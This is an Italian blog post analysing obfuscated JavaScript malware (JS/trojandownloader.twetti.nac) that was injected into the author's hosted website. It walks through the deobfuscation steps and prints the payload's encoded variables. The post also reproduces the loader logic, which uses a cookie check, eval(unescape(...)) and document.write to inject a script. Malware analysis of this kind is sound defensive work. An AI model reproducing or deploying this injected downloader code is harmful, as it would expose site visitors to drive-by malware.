Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac – Parte 1

In questo post ho riportato il codice Javascrip malevolo iniettato sul server di Aruba che ospita uno dei siti che gestisco. Da un’analisi di tale codice sono riuscito a deoffuscarne alcune parti, semplificando notevolmente la compresione dello stesso. In particolare, la mia attenzione si è concentrata sulla variabile BKbk34b32, poichè su di essa vengono eseguite diverse operazioni. Infatti, come si evince dall’associazione:

var $a = BKbk34b32.replace(/98/g, "Z");

ogni pattern 98 presente all’interno della variabile precedentemente specificata, viene sostituito con una Z (ciò avviene per tutta la stringa BKbk34b32, grazie a /g, dove g sta per global).

Analizziamo adesso il seguente ciclo for:

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ )

che equivale a:

for(__fh=0; __fh < s.length; __fh++ )

proprio perchè la variabile adlan3r$oubw non è altro che una stringa costituita da un singolo carattere, ovvero e :

var adlan3r$oubw = "e";

mentre il carattere + viene utilizzato per concatenare tra loro caratteri e stringhe.

All’interno del ciclo for è possibile notare le seguenti istruzioni:

i = __fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%' }

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

che equivale a:

if(s.charAt(i) == 'Z') {

s(i) = '%'; }

else {

s(i) = s(i);

}

che in soldoni vuol dire: scansiona la stringa, se incontri una Z sostituiscila con un %, altrimenti lascia il carattere cosi com’è.

Infine, è interessante dare un’occhiata alla seguente istruzione:

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

che equivale a:

this.unescape(r)

Quindi, ricapitolando possiamo deoffuscare il contenuto della variabile BKbk34b32 seguendo i seguenti step:

var a = BKbk34b32.replace(/98/g, "Z");

var b = a.replace(/Z/g, "%");

var c = unescape(b);

E infine stampiamo la variabile deoffuscata mediante il codice:

document.write(c);

La variabile BKbk34b32 deoffuscata è la seguente:

ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";

dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";

cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;s{xpyz;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";

cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";

de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";

dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";

st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";

cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";

op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";

da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";

cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";

db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";

dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";

cc="%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";

if (document.cookie.indexOf('rf5f6ds')==-1) {

function callback(x){

tw = x;

var d = new Date();

d.setTime(x["as_of"]*1000);

var h = d.getUTCHours();

h = h;

if (h > 8) {

d.setUTCDate(d.getUTCDate() - 2);

}

else {

d.setUTCDate(d.getUTCDate() - 3);

}

gd = d;

var time = new Array();

var shiftIndex = "";

time["year"] = d.getUTCFullYear();

time["month"] = d.getUTCMonth()+1;

time["day"] = d.getUTCDate();

if (d.getUTCMonth()+1 < 10) {

shiftIndex = time["year"] + "-0" + (d.getUTCMonth()+1);

}

else {

shiftIndex = time["year"] + "-" + (d.getUTCMonth()+1);

}

if (d.getUTCDate() < 10) {

shiftIndex =shiftIndex + "-0" + d.getUTCDate();}else{shiftIndex = shiftIndex + "-" + d.getUTCDate();}document.write("" + "");

}

function callback2(x) {

tw =x;

sc('rf5f6ds',2,7);

eval(unescape(dz+cz+op+st)+'dw(dz+cz($a+st));');

document.write($a);

}

document.write(" " + "");

}

else {

$a=''

};

function sc(cnm,v,ed) {

var exd=new Date();exd.setDate(exd.getDate()+ed);document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();

};

Nei prossimi giorni proseguirò con un’ulteriore analisi e deoffuscamento del codice. A presto.

Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac – Parte 1ultima modifica: 2011-01-21T01:13:31+01:00da nazarenolatella
Reposta per primo quest’articolo

2 pensieri su “Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac – Parte 1

  1. Bhè, Aruba dovrebbe patchare i propri server… soprattutto alla luce del fatto che le prime varianti di questo codice JS malevolo sono in circolazione da inizio 2010…

I commenti sono chiusi.